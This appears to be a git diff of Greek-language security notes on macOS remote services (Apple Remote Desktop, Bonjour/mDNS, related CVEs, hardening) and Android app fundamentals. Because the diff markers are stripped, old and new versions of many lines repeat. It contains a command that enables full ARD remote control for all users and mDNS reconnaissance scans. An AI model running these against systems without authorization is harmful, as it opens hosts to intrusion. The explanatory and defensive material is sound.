sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
```
ARD παρέχει ευέλικτα επίπεδα ελέγχου, συμπεριλαμβανομένης της παρακολούθησης, του κοινόχρηστου ελέγχου και του πλήρους ελέγχου, με τις συνεδρίες να παραμένουν ενεργές ακόμη και μετά από αλλαγές κωδικού πρόσβασης χρήστη. Επιτρέπει την αποστολή εντολών Unix απευθείας, εκτελώντας τις ως root για διαχειριστικούς χρήστες. Ο προγραμματισμός εργασιών και η απομακρυσμένη αναζήτηση Spotlight είναι αξιοσημείωτα χαρακτηριστικά, διευκολύνοντας απομακρυσμένες, χαμηλής επιρροής αναζητήσεις ευαίσθητων αρχείων σε πολλές μηχανές.
#### Πρόσφατες ευπάθειες στην κοινή χρήση οθόνης / ARD (2023-2025)
#### Πρόσφατες ευπάθειες Screen-Sharing / ARD (2023-2025)
| Έτος | CVE | Συστατικό | Επιπτώσεις | Διορθώθηκε σε |
|------|-----|-----------|------------|----------------|
|2023|CVE-2023-42940|Κοινή Χρήση Οθόνης|Λανθασμένη απόδοση συνεδρίας θα μπορούσε να προκαλέσει τη μετάδοση της *λανθασμένης* επιφάνειας εργασίας ή παραθύρου, με αποτέλεσμα διαρροή ευαίσθητων πληροφοριών|macOS Sonoma 14.2.1 (Δεκ 2023) |
|2023|CVE-2023-42940|Screen Sharing|Η λανθασμένη απόδοση συνεδρίας θα μπορούσε να προκαλέσει τη μετάδοση του *λανθασμένου* επιφάνειας εργασίας ή παραθύρου, με αποτέλεσμα τη διαρροή ευαίσθητων πληροφοριών|macOS Sonoma 14.2.1 (Δεκ 2023) |
|2024|CVE-2024-23296|launchservicesd / login|Παράκαμψη προστασίας μνήμης πυρήνα που μπορεί να αλυσοδεθεί μετά από επιτυχημένη απομακρυσμένη σύνδεση (εκμεταλλεύεται ενεργά στην άγρια φύση)|macOS Ventura 13.6.4 / Sonoma 14.4 (Μάρ 2024) |
**Συμβουλές σκληρής προστασίας**
**Συμβουλές σκληροποίησης**
* Απενεργοποιήστε την *Κοινή Χρήση Οθόνης*/*Απομακρυσμένη Διαχείριση* όταν δεν είναι αυστηρά απαραίτητο.
* Απενεργοποιήστε το *Screen Sharing*/*Remote Management* όταν δεν απαιτείται αυστηρά.
* Διατηρήστε το macOS πλήρως ενημερωμένο (η Apple γενικά αποστέλλει διορθώσεις ασφαλείας για τις τελευταίες τρεις κύριες εκδόσεις).
* Χρησιμοποιήστε έναν **Ισχυρό Κωδικό Πρόσβασης** *και* επιβάλετε την επιλογή *“Οι θεατές VNC μπορούν να ελέγχουν την οθόνη με κωδικό πρόσβασης”* **απενεργοποιημένη** όταν είναι δυνατόν.
* Χρησιμοποιήστε έναν **ισχυρό κωδικό πρόσβασης** *και* επιβάλετε την επιλογή *“VNC viewers may control screen with password”* **απενεργοποιημένη** όταν είναι δυνατόν.
* Τοποθετήστε την υπηρεσία πίσω από ένα VPN αντί να εκθέτετε το TCP 5900/3283 στο Διαδίκτυο.
* Προσθέστε έναν κανόνα Firewall Εφαρμογών για να περιορίσετε το `ARDAgent` στο τοπικό υποδίκτυο:
* Προσθέστε έναν κανόνα Firewall εφαρμογής για να περιορίσετε το `ARDAgent` στο τοπικό υποδίκτυο:
```bash
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --add /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
@ -58,23 +58,23 @@ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setblockapp /System/Libra
## Πρωτόκολλο Bonjour
Το Bonjour, μια τεχνολογία σχεδιασμένη από την Apple, επιτρέπει **στις συσκευές στο ίδιο δίκτυο να ανιχνεύουν τις προσφερόμενες υπηρεσίες η μία της άλλης**. Γνωστό επίσης ως Rendezvous, **Zero Configuration**, ή Zeroconf, επιτρέπει σε μια συσκευή να ενταχθεί σε ένα δίκτυο TCP/IP, **να επιλέξει αυτόματα μια διεύθυνση IP** και να διαφημίσει τις υπηρεσίες της σε άλλες συσκευές του δικτύου.
Το Bonjour, μια τεχνολογία σχεδιασμένη από την Apple, επιτρέπει **στις συσκευές στο ίδιο δίκτυο να ανιχνεύουν τις προσφερόμενες υπηρεσίες η μία της άλλης**. Γνωστό επίσης ως Rendezvous, **Zero Configuration**, ή Zeroconf, επιτρέπει σε μια συσκευή να ενταχθεί σε ένα δίκτυο TCP/IP, **να επιλέξει αυτόματα μια διεύθυνση IP** και να διαφημίσει τις υπηρεσίες της σε άλλες συσκευές δικτύου.
Η Δικτύωση Χωρίς Ρυθμίσεις, που παρέχεται από το Bonjour, διασφαλίζει ότι οι συσκευές μπορούν να:
- **Αποκτούν αυτόματα μια Διεύθυνση IP** ακόμη και στην απουσία διακομιστή DHCP.
- **Αποκτούν αυτόματα μια διεύθυνση IP** ακόμη και στην απουσία διακομιστή DHCP.
- Εκτελούν **μετάφραση ονόματος σε διεύθυνση** χωρίς να απαιτείται διακομιστής DNS.
- **Ανακαλύπτουν υπηρεσίες** διαθέσιμες στο δίκτυο.
Οι συσκευές που χρησιμοποιούν το Bonjour θα αναθέσουν στον εαυτό τους μια **διεύθυνση IP από το εύρος 169.254/16** και θα επαληθεύσουν την μοναδικότητά της στο δίκτυο. Οι Macs διατηρούν μια καταχώρηση πίνακα δρομολόγησης για αυτό το υποδίκτυο, επαληθεύσιμη μέσω του `netstat -rn | grep 169`.
Οι συσκευές που χρησιμοποιούν το Bonjour θα αναθέσουν μόνες τους μια **διεύθυνση IP από το εύρος 169.254/16** και θα επαληθεύσουν την μοναδικότητά της στο δίκτυο. Οι Macs διατηρούν μια καταχώρηση πίνακα δρομολόγησης για αυτό το υποδίκτυο, επαληθεύσιμη μέσω του `netstat -rn | grep 169`.
Για το DNS, το Bonjour χρησιμοποιεί το **πρωτόκολλο Multicast DNS (mDNS)**. Το mDNS λειτουργεί μέσω **θύρας 5353/UDP**, χρησιμοποιώντας **τυπικά ερωτήματα DNS** αλλά στοχεύοντας τη **διεύθυνση multicast 224.0.0.251**. Αυτή η προσέγγιση διασφαλίζει ότι όλες οι συσκευές που ακούν στο δίκτυο μπορούν να λάβουν και να απαντήσουν στα ερωτήματα, διευκολύνοντας την ενημέρωση των καταχωρήσεών τους.
Κατά την ένταξή τους στο δίκτυο, κάθε συσκευή επιλέγει αυτόματα ένα όνομα, το οποίο συνήθως τελειώνει σε **.local**, το οποίο μπορεί να προέρχεται από το όνομα υπολογιστή ή να είναι τυχαία παραγόμενο.
Κατά την ένταξή τους στο δίκτυο, κάθε συσκευή επιλέγει αυτόματα ένα όνομα, που συνήθως τελειώνει σε **.local**, το οποίο μπορεί να προέρχεται από το όνομα υπολογιστή ή να είναι τυχαία παραγόμενο.
Η ανακάλυψη υπηρεσιών εντός του δικτύου διευκολύνεται από το **DNS Service Discovery (DNS-SD)**. Εκμεταλλευόμενο τη μορφή των εγγραφών DNS SRV, το DNS-SD χρησιμοποιεί **DNS PTR εγγραφές** για να επιτρέπει την καταχώριση πολλαπλών υπηρεσιών. Ένας πελάτης που αναζητά μια συγκεκριμένη υπηρεσία θα ζητήσει μια εγγραφή PTR για `<Service>.<Domain>`, λαμβάνοντας σε αντάλλαγμα μια λίστα εγγραφών PTR μορφοποιημένων ως `<Instance>.<Service>.<Domain>` εάν η υπηρεσία είναι διαθέσιμη από πολλούς διακομιστές.
Η ανακάλυψη υπηρεσιών εντός του δικτύου διευκολύνεται από το **DNS Service Discovery (DNS-SD)**. Εκμεταλλευόμενο τη μορφή των καταχωρήσεων DNS SRV, το DNS-SD χρησιμοποιεί **καταχωρήσεις DNS PTR** για να επιτρέψει την καταχώρηση πολλαπλών υπηρεσιών. Ένας πελάτης που αναζητά μια συγκεκριμένη υπηρεσία θα ζητήσει μια καταχώρηση PTR για `<Service>.<Domain>`, λαμβάνοντας σε αντάλλαγμα μια λίστα καταχωρήσεων PTR μορφοποιημένων ως `<Instance>.<Service>.<Domain>` αν η υπηρεσία είναι διαθέσιμη από πολλούς διακομιστές.
Το εργαλείο `dns-sd` μπορεί να χρησιμοποιηθεί για **την ανακάλυψη και διαφήμιση δικτυακών υπηρεσιών**. Ακολουθούν μερικά παραδείγματα χρήσης του:
Το εργαλείο `dns-sd` μπορεί να χρησιμοποιηθεί για **ανακάλυψη και διαφήμιση δικτυακών υπηρεσιών**. Ακολουθούν μερικά παραδείγματα χρήσης του:
### Αναζητώντας Υπηρεσίες SSH
@ -96,11 +96,11 @@ dns-sd -R "Index" _http._tcp . 80 path=/index.html
```bash
dns-sd -B _http._tcp
```
Όταν μια υπηρεσία ξεκινά, ανακοινώνει τη διαθεσιμότητά της σε όλες τις συσκευές στο υποδίκτυο μέσω multicast της παρουσίας της. Οι συσκευές που ενδιαφέρονται για αυτές τις υπηρεσίες δεν χρειάζεται να στείλουν αιτήματα, αλλά απλώς να ακούσουν αυτές τις ανακοινώσεις.
Όταν μια υπηρεσία ξεκινά, ανακοινώνει τη διαθεσιμότητά της σε όλες τις συσκευές στο υποδίκτυο μέσω multicast της παρουσίας της. Οι συσκευές που ενδιαφέρονται για αυτές τις υπηρεσίες δεν χρειάζεται να στείλουν αιτήματα, αλλά απλώς να ακούν αυτές τις ανακοινώσεις.
Για μια πιο φιλική προς τον χρήστη διεπαφή, η εφαρμογή **Discovery - DNS-SD Browser** που είναι διαθέσιμη στο Apple App Store μπορεί να οπτικοποιήσει τις υπηρεσίες που προσφέρονται στο τοπικό σας δίκτυο.
Εναλλακτικά, μπορούν να γραφούν προσαρμοσμένα σενάρια για να περιηγηθούν και να ανακαλύψουν υπηρεσίες χρησιμοποιώντας τη βιβλιοθήκη `python-zeroconf`. Το [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) σενάριο δείχνει πώς να δημιουργήσετε έναν περιηγητή υπηρεσιών για τις υπηρεσίες `_http._tcp.local.`, εκτυπώνοντας τις προστιθέμενες ή αφαιρεθείσες υπηρεσίες:
Εναλλακτικά, μπορούν να γραφούν προσαρμοσμένα σενάρια για να περιηγηθούν και να ανακαλύψουν υπηρεσίες χρησιμοποιώντας τη βιβλιοθήκη `python-zeroconf`. Το [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) σενάριο δείχνει τη δημιουργία ενός περιηγητή υπηρεσιών για τις υπηρεσίες `_http._tcp.local.`, εκτυπώνοντας τις προστιθέμενες ή αφαιρεθείσες υπηρεσίες:
```python
from zeroconf import ServiceBrowser, Zeroconf
@ -121,7 +121,7 @@ input("Press enter to exit...\n\n")
finally:
zeroconf.close()
```
### Εξερεύνηση Bonjour μέσω του δικτύου
### Enumerating Bonjour over the network
* **Nmap NSE** ανακάλυψη υπηρεσιών που διαφημίζονται από έναν μόνο υπολογιστή:
@ -129,7 +129,7 @@ zeroconf.close()
nmap -sU -p 5353 --script=dns-service-discovery <target>
```
Το σενάριο `dns-service-discovery` στέλνει ένα ερώτημα `_services._dns-sd._udp.local` και στη συνέχεια αναγνωρίζει κάθε τύπο υπηρεσίας που διαφημίζεται.
Το σενάριο `dns-service-discovery` στέλνει ένα ερώτημα `_services._dns-sd._udp.local` και στη συνέχεια απαριθμεί κάθε διαφημισμένο τύπο υπηρεσίας.
* **mdns_recon** εργαλείο Python που σαρώνει ολόκληρες περιοχές αναζητώντας *κακώς ρυθμισμένους* mDNS responders που απαντούν σε unicast ερωτήματα (χρήσιμο για να βρείτε συσκευές που είναι προσβάσιμες μέσω υποδικτύων/WAN):
@ -140,27 +140,27 @@ python3 mdns_recon.py -r 192.0.2.0/24 -s _ssh._tcp.local
Αυτό θα επιστρέψει υπολογιστές που εκθέτουν SSH μέσω Bonjour εκτός του τοπικού συνδέσμου.
### Σκέψεις ασφαλείας & πρόσφατες ευπάθειες (2024-2025)
### Security considerations & recent vulnerabilities (2024-2025)
| Έτος | CVE | Σοβαρότητα | Ζήτημα | Διόρθωση σε |
| Year | CVE | Severity | Issue | Patched in |
|------|-----|----------|-------|------------|
|2024|CVE-2024-44183|Μέτριο|Ένα λογικό σφάλμα στο *mDNSResponder* επέτρεψε σε ένα κακόβουλο πακέτο να προκαλέσει **άρνηση υπηρεσίας**|macOS Ventura 13.7 / Sonoma 14.7 / Sequoia 15.0 (Σεπ 2024) |
|2025|CVE-2025-31222|Υψηλό|Ένα ζήτημα ορθότητας στο *mDNSResponder* θα μπορούσε να εκμεταλλευτεί για **τοπική κλιμάκωση προνομίων**|macOS Ventura 13.7.6 / Sonoma 14.7.6 / Sequoia 15.5 (Μάιος 2025) |
|2024|CVE-2024-44183|Medium|Ένα λογικό σφάλμα στο *mDNSResponder* επέτρεψε σε ένα κακόβουλο πακέτο να προκαλέσει **άρνηση υπηρεσίας**|macOS Ventura 13.7 / Sonoma 14.7 / Sequoia 15.0 (Σεπ 2024) |
|2025|CVE-2025-31222|High|Ένα ζήτημα ορθότητας στο *mDNSResponder* θα μπορούσε να εκμεταλλευτεί για **τοπική κλιμάκωση προνομίων**|macOS Ventura 13.7.6 / Sonoma 14.7.6 / Sequoia 15.5 (Μάιος 2025) |
**Κατευθυντήριες γραμμές μετριασμού**
**Mitigation guidance**
1. Περιορίστε το UDP 5353 σε *τοπικό σύνδεσμο* αποκλείστε ή περιορίστε την ταχύτητα του σε ασύρματους ελεγκτές, δρομολογητές και τείχη προστασίας βασισμένα σε υπολογιστές.
1. Περιορίστε το UDP 5353 σε *link-local* πεδίο αποκλείστε ή περιορίστε την ταχύτητα του σε ασύρματους ελεγκτές, δρομολογητές και τείχη προστασίας βασισμένα σε υπολογιστές.
2. Απενεργοποιήστε εντελώς το Bonjour σε συστήματα που δεν απαιτούν ανακάλυψη υπηρεσιών:
```bash
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
```
3. Για περιβάλλοντα όπου το Bonjour απαιτείται εσωτερικά αλλά δεν πρέπει ποτέ να διασχίζει τα δίκτυα, χρησιμοποιήστε περιορισμούς προφίλ *AirPlay Receiver* (MDM) ή έναν mDNS proxy.
4. Ενεργοποιήστε την **Προστασία Ακεραιότητας Συστήματος (SIP)** και διατηρήστε το macOS ενημερωμένο και οι δύο ευπάθειες παραπάνω διορθώθηκαν γρήγορα αλλά εξαρτήθηκαν από την ενεργοποίηση του SIP για πλήρη προστασία.
4. Ενεργοποιήστε την **Προστασία Ακεραιότητας Συστήματος (SIP)** και κρατήστε το macOS ενημερωμένο και οι δύο ευπάθειες παραπάνω διορθώθηκαν γρήγορα αλλά εξαρτήθηκαν από την ενεργοποίηση του SIP για πλήρη προστασία.
### Απενεργοποίηση Bonjour
### Disabling Bonjour
Εάν υπάρχουν ανησυχίες σχετικά με την ασφάλεια ή άλλοι λόγοι για την απενεργοποίηση του Bonjour, μπορεί να απενεργοποιηθεί χρησιμοποιώντας την παρακάτω εντολή:
Εάν υπάρχουν ανησυχίες σχετικά με την ασφάλεια ή άλλοι λόγοι για να απενεργοποιήσετε το Bonjour, μπορεί να απενεργοποιηθεί χρησιμοποιώντας την παρακάτω εντολή:
```bash
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
```

View File

@ -35,16 +35,16 @@
- Το attribute **permission-group**, το οποίο επιτρέπει την ομαδοποίηση σχετικών αδειών.
- Το **protection-level** που υποδεικνύει πώς χορηγούνται οι άδειες. Υπάρχουν τέσσερις τύποι:
- **Normal**: Χρησιμοποιείται όταν δεν υπάρχουν **γνωστές απειλές** για την εφαρμογή. Ο χρήστης **δεν απαιτείται να την εγκρίνει**.
- **Dangerous**: Υποδεικνύει ότι η άδεια παρέχει στην αιτούμενη εφαρμογή κάποια **υψηλή πρόσβαση**. **Οι χρήστες ζητούνται να τις εγκρίνουν**.
- **Signature**: Μόνο **εφαρμογές που υπογράφονται με το ίδιο πιστοποιητικό με αυτό που εξάγει το στοιχείο** μπορούν να λάβουν άδεια. Αυτός είναι ο ισχυρότερος τύπος προστασίας.
- **SignatureOrSystem**: Μόνο **εφαρμογές που υπογράφονται με το ίδιο πιστοποιητικό με αυτό που εξάγει το στοιχείο ή **εφαρμογές που εκτελούνται με πρόσβαση σε επίπεδο συστήματος** μπορούν να λάβουν άδειες.
- **Dangerous**: Υποδεικνύει ότι η άδεια παρέχει στην αιτούσα εφαρμογή κάποια **υψηλή πρόσβαση**. **Οι χρήστες ζητούνται να τις εγκρίνουν**.
- **Signature**: Μόνο **εφαρμογές που υπογράφονται από το ίδιο πιστοποιητικό με αυτό που εξάγει το στοιχείο** μπορούν να λάβουν άδεια. Αυτός είναι ο ισχυρότερος τύπος προστασίας.
- **SignatureOrSystem**: Μόνο **εφαρμογές που υπογράφονται από το ίδιο πιστοποιητικό με αυτό που εξάγει το στοιχείο ή **εφαρμογές που εκτελούνται με πρόσβαση σε επίπεδο συστήματος** μπορούν να λάβουν άδειες.
## Προεγκατεστημένες Εφαρμογές
Αυτές οι εφαρμογές βρίσκονται γενικά στους καταλόγους **`/system/app`** ή **`/system/priv-app`** και μερικές από αυτές είναι **βελτιστοποιημένες** (μπορεί να μην βρείτε καν το αρχείο `classes.dex`). Αυτές οι εφαρμογές αξίζουν να ελεγχθούν γιατί μερικές φορές εκτελούνται **με πάρα πολλές άδειες** (ως root).
- Αυτές που αποστέλλονται με το **AOSP** (Android OpenSource Project) **ROM**
- Προστέθηκαν από τον **κατασκευαστή** της συσκευής
- Προστέθηκαν από τον **κατασκευαστή της συσκευής**
- Προστέθηκαν από τον **πάροχο κινητής τηλεφωνίας** (αν αγοράστηκαν από αυτούς)
## Rooting
@ -74,7 +74,7 @@
- Περιεχόμενα APK (Όχι εξαντλητικά)
- **AndroidManifest.xml**
- resources.arsc/strings.xml
- resources.arsc: περιέχει προcompiled resources, όπως δυαδικό XML.
- resources.arsc: περιέχει προεγκατεστημένους πόρους, όπως δυαδικό XML.
- res/xml/files_paths.xml
- META-INF/
- Εδώ βρίσκεται το Πιστοποιητικό!
@ -95,7 +95,7 @@
Στην ανάπτυξη Android, χρησιμοποιείται **Java ή Kotlin** για τη δημιουργία εφαρμογών. Αντί να χρησιμοποιεί την JVM όπως στις επιτραπέζιες εφαρμογές, το Android μεταγλωττίζει αυτόν τον κώδικα σε **Dalvik Executable (DEX) bytecode**. Παλαιότερα, η εικονική μηχανή Dalvik χειριζόταν αυτόν τον bytecode, αλλά τώρα, το Android Runtime (ART) αναλαμβάνει σε νεότερες εκδόσεις Android.
Για την αντίστροφη μηχανική, το **Smali** γίνεται κρίσιμο. Είναι η αναγνώσιμη από άνθρωπο έκδοση του DEX bytecode, λειτουργώντας σαν γλώσσα assembly μεταφράζοντας τον πηγαίο κώδικα σε εντολές bytecode. Το Smali και το baksmali αναφέρονται στα εργαλεία assembly και disassembly σε αυτό το πλαίσιο.
Για την αντίστροφη μηχανική, το **Smali** γίνεται κρίσιμο. Είναι η αναγνώσιμη από άνθρωπο έκδοση του DEX bytecode, λειτουργώντας σαν γλώσσα assembly μεταφράζοντας τον πηγαίο κώδικα σε εντολές bytecode. Το Smali και το baksmali αναφέρονται στα εργαλεία συναρμολόγησης και αποσυναρμολόγησης σε αυτό το πλαίσιο.
## Intents
@ -110,15 +110,15 @@
- Για να αποκτήσει πρόσβαση σε δεδομένα μέσω ContentProviders
- Ως callbacks για να χειριστεί γεγονότα
Αν είναι ευάλωτα, **τα Intents μπορούν να χρησιμοποιηθούν για την εκτέλεση ποικιλίας επιθέσεων**.
Αν είναι ευάλωτα, **τα Intents μπορούν να χρησιμοποιηθούν για την εκτέλεση διαφόρων επιθέσεων**.
### Intent-Filter
**Τα Intent Filters** καθορίζουν **πώς μια δραστηριότητα, υπηρεσία ή Broadcast Receiver μπορεί να αλληλεπιδράσει με διάφορους τύπους Intents**. Ουσιαστικά, περιγράφουν τις δυνατότητες αυτών των στοιχείων, όπως ποιες ενέργειες μπορούν να εκτελέσουν ή τους τύπους ραδιοφωνικών εκπομπών που μπορούν να επεξεργαστούν. Ο κύριος χώρος για να δηλωθούν αυτά τα φίλτρα είναι μέσα στο **AndroidManifest.xml αρχείο**, αν και για τους Broadcast Receivers, η κωδικοποίησή τους είναι επίσης μια επιλογή.
**Τα Intent Filters** καθορίζουν **πώς μια δραστηριότητα, υπηρεσία ή Broadcast Receiver μπορεί να αλληλεπιδράσει με διάφορους τύπους Intents**. Βασικά, περιγράφουν τις δυνατότητες αυτών των στοιχείων, όπως ποιες ενέργειες μπορούν να εκτελούν ή τους τύπους ραδιοφωνικών εκπομπών που μπορούν να επεξεργαστούν. Ο κύριος χώρος για να δηλωθούν αυτά τα φίλτρα είναι μέσα στο **AndroidManifest.xml αρχείο**, αν και για τους Broadcast Receivers, η κωδικοποίησή τους είναι επίσης μια επιλογή.
Τα Intent Filters αποτελούνται από κατηγορίες, ενέργειες και φίλτρα δεδομένων, με τη δυνατότητα να περιλαμβάνουν επιπλέον μεταδεδομένα. Αυτή η ρύθμιση επιτρέπει στα στοιχεία να χειρίζονται συγκεκριμένα Intents που ταιριάζουν με τα δηλωμένα κριτήρια.
Ένας κρίσιμος τομέας των στοιχείων Android (δραστηριότητες/υπηρεσίες/content providers/broadcast receivers) είναι η ορατότητά τους ή η **δημόσια κατάσταση**. Ένα στοιχείο θεωρείται δημόσιο και μπορεί να αλληλεπιδράσει με άλλες εφαρμογές αν είναι **`exported`** με τιμή **`true`** ή αν έχει δηλωθεί ένα Intent Filter γι' αυτό στο μανιφέστο. Ωστόσο, υπάρχει τρόπος για τους προγραμματιστές να κρατήσουν αυτά τα στοιχεία ιδιωτικά, διασφαλίζοντας ότι δεν αλληλεπιδρούν με άλλες εφαρμογές κατά λάθος. Αυτό επιτυγχάνεται ρυθμίζοντας το **`exported`** attribute σε **`false`** στις δηλώσεις τους στο μανιφέστο.
Ένας κρίσιμος τομέας των στοιχείων Android (δραστηριότητες/υπηρεσίες/παρόχοι περιεχομένου/δέκτες ραδιοφωνικών εκπομπών) είναι η ορατότητά τους ή η **δημόσια κατάσταση**. Ένα στοιχείο θεωρείται δημόσιο και μπορεί να αλληλεπιδράσει με άλλες εφαρμογές αν είναι **`exported`** με τιμή **`true`** ή αν έχει δηλωθεί ένα Intent Filter γι' αυτό στο μανιφέστο. Ωστόσο, υπάρχει τρόπος για τους προγραμματιστές να κρατήσουν αυτά τα στοιχεία ιδιωτικά, διασφαλίζοντας ότι δεν αλληλεπιδρούν με άλλες εφαρμογές κατά λάθος. Αυτό επιτυγχάνεται ρυθμίζοντας το **`exported`** attribute σε **`false`** στις δηλώσεις τους στο μανιφέστο.
Επιπλέον, οι προγραμματιστές έχουν τη δυνατότητα να ασφαλίσουν περαιτέρω την πρόσβαση σε αυτά τα στοιχεία απαιτώντας συγκεκριμένες άδειες. Το **`permission`** attribute μπορεί να ρυθμιστεί ώστε να επιβάλλει ότι μόνο οι εφαρμογές με την καθορισμένη άδεια μπορούν να έχουν πρόσβαση στο στοιχείο, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας και ελέγχου σχετικά με το ποιος μπορεί να αλληλεπιδράσει με αυτό.
```java
@ -145,7 +145,7 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
Ένα intent-filter πρέπει να ταιριάζει με την **ενέργεια**, **δεδομένα** και **κατηγορία** για να λάβει ένα μήνυμα.
Η διαδικασία "Επίλυσης Intent" καθορίζει ποια εφαρμογή θα λάβει κάθε μήνυμα. Αυτή η διαδικασία εξετάζει το **χαρακτηριστικό προτεραιότητας**, το οποίο μπορεί να οριστεί στην **δήλωση intent-filter**, και **αυτό με την υψηλότερη προτεραιότητα θα επιλεγεί**. Αυτή η προτεραιότητα μπορεί να οριστεί μεταξύ -1000 και 1000 και οι εφαρμογές μπορούν να χρησιμοποιήσουν την τιμή `SYSTEM_HIGH_PRIORITY`. Εάν προκύψει μια **σύγκρουση**, εμφανίζεται ένα παράθυρο "chooser" ώστε ο **χρήστης να αποφασίσει**.
Η διαδικασία "Επίλυσης Intent" καθορίζει ποια εφαρμογή θα λάβει κάθε μήνυμα. Αυτή η διαδικασία εξετάζει το **χαρακτηριστικό προτεραιότητας**, το οποίο μπορεί να οριστεί στην δήλωση **intent-filter**, και **αυτό με την υψηλότερη προτεραιότητα θα επιλεγεί**. Αυτή η προτεραιότητα μπορεί να οριστεί μεταξύ -1000 και 1000 και οι εφαρμογές μπορούν να χρησιμοποιήσουν την τιμή `SYSTEM_HIGH_PRIORITY`. Εάν προκύψει μια **σύγκρουση**, εμφανίζεται ένα παράθυρο "chooser" ώστε ο **χρήστης να αποφασίσει**.
### Explicit Intents
@ -165,11 +165,11 @@ context.startService(intent);
### Broadcast Intents
Σε αντίθεση με τις προηγούμενες προθέσεις, οι οποίες γίνονται δεκτές μόνο από μία εφαρμογή, οι broadcast intents **μπορούν να γίνουν δεκτές από πολλές εφαρμογές**. Ωστόσο, από την έκδοση API 14, είναι **δυνατό να καθοριστεί η εφαρμογή που θα λάβει** το μήνυμα χρησιμοποιώντας το Intent.set Package.
Σε αντίθεση με τις προηγούμενες προθέσεις, οι οποίες γίνονται δεκτές μόνο από μία εφαρμογή, οι broadcast intents **μπορούν να γίνουν δεκτές από πολλές εφαρμογές**. Ωστόσο, από την έκδοση API 14, είναι **δυνατό να καθοριστεί η εφαρμογή που θα πρέπει να λάβει** το μήνυμα χρησιμοποιώντας το Intent.setPackage.
Εναλλακτικά, είναι επίσης δυνατό να **καθοριστεί μια άδεια κατά την αποστολή του broadcast**. Η εφαρμογή παραλήπτης θα χρειαστεί να έχει αυτή την άδεια.
Υπάρχουν **δύο τύποι** Broadcasts: **Normal** (ασύγχρονα) και **Ordered** (συγχρονισμένα). Η **σειρά** βασίζεται στην **καθορισμένη προτεραιότητα εντός του στοιχείου παραλήπτη**. **Κάθε εφαρμογή μπορεί να επεξεργαστεί, να μεταφέρει ή να απορρίψει το Broadcast.**
Υπάρχουν **δύο τύποι** Broadcasts: **Normal** (ασύγχρονα) και **Ordered** (σύγχρονα). Η **σειρά** βασίζεται στην **καθορισμένη προτεραιότητα εντός του στοιχείου παραλήπτη**. **Κάθε εφαρμογή μπορεί να επεξεργαστεί, να μεταφέρει ή να απορρίψει το Broadcast.**
Είναι δυνατό να **σταλεί** ένα **broadcast** χρησιμοποιώντας τη λειτουργία `sendBroadcast(intent, receiverPermission)` από την κλάση `Context`.\
Μπορείτε επίσης να χρησιμοποιήσετε τη λειτουργία **`sendBroadcast`** από τον **`LocalBroadCastManager`** που διασφαλίζει ότι το **μήνυμα δεν θα φύγει ποτέ από την εφαρμογή**. Χρησιμοποιώντας αυτό, δεν θα χρειαστεί καν να εξάγετε ένα συστατικό παραλήπτη.
@ -184,7 +184,7 @@ context.startService(intent);
## Deep links / URL schemes
Στις εφαρμογές Android, οι **deep links** χρησιμοποιούνται για να ξεκινήσουν μια ενέργεια (Intent) απευθείας μέσω μιας διεύθυνσης URL. Αυτό γίνεται δηλώνοντας ένα συγκεκριμένο **URL scheme** εντός μιας δραστηριότητας. Όταν μια συσκευή Android προσπαθεί να **προσεγγίσει μια διεύθυνση URL με αυτό το scheme**, η καθορισμένη δραστηριότητα εντός της εφαρμογής εκκινείται.
Στις εφαρμογές Android, οι **deep links** χρησιμοποιούνται για να ξεκινήσουν μια ενέργεια (Intent) απευθείας μέσω μιας διεύθυνσης URL. Αυτό γίνεται δηλώνοντας ένα συγκεκριμένο **URL scheme** εντός μιας δραστηριότητας. Όταν μια συσκευή Android προσπαθεί να **πρόσβαση σε μια διεύθυνση URL με αυτό το scheme**, η καθορισμένη δραστηριότητα εντός της εφαρμογής εκκινείται.
Το scheme πρέπει να δηλωθεί στο αρχείο **`AndroidManifest.xml`**:
```xml
@ -221,7 +221,7 @@ android:host="example"
### Βασικές Έννοιες
- **Δεσμευμένες Υπηρεσίες**: Αυτές οι υπηρεσίες χρησιμοποιούν AIDL για IPC, επιτρέποντας σε δραστηριότητες ή συστατικά να συνδεθούν με μια υπηρεσία, να κάνουν αιτήματα και να λαμβάνουν απαντήσεις. Η μέθοδος `onBind` στην κλάση της υπηρεσίας είναι κρίσιμη για την έναρξη της αλληλεπίδρασης, καθιστώντας την μια ζωτική περιοχή για έλεγχο ασφαλείας στην αναζήτηση ευπαθειών.
- **Δεσμευμένες Υπηρεσίες**: Αυτές οι υπηρεσίες χρησιμοποιούν AIDL για IPC, επιτρέποντας σε δραστηριότητες ή συστατικά να συνδεθούν σε μια υπηρεσία, να κάνουν αιτήματα και να λαμβάνουν απαντήσεις. Η μέθοδος `onBind` στην κλάση της υπηρεσίας είναι κρίσιμη για την έναρξη της αλληλεπίδρασης, καθιστώντας την μια ζωτική περιοχή για έλεγχο ασφαλείας στην αναζήτηση ευπαθειών.
- **Messenger**: Λειτουργώντας ως δεσμευμένη υπηρεσία, ο Messenger διευκολύνει την IPC με έμφαση στην επεξεργασία δεδομένων μέσω της μεθόδου `onBind`. Είναι απαραίτητο να εξετάσετε αυτή τη μέθοδο προσεκτικά για οποιαδήποτε μη ασφαλή διαχείριση δεδομένων ή εκτέλεση ευαίσθητων συναρτήσεων.
@ -229,13 +229,13 @@ android:host="example"
## Συστατικά
Αυτά περιλαμβάνουν: **Δραστηριότητες, Υπηρεσίες, Δέκτες Εκπομπών και Παρόχους.**
Αυτά περιλαμβάνουν: **Δραστηριότητες, Υπηρεσίες, Δέκτες Εκπομπών και Παροχείς.**
### Δραστηριότητα Εκκίνησης και άλλες δραστηριότητες
Στις εφαρμογές Android, οι **δραστηριότητες** είναι σαν οθόνες, δείχνοντας διάφορα μέρη της διεπαφής χρήστη της εφαρμογής. Μια εφαρμογή μπορεί να έχει πολλές δραστηριότητες, καθεμία από τις οποίες παρουσιάζει μια μοναδική οθόνη στον χρήστη.
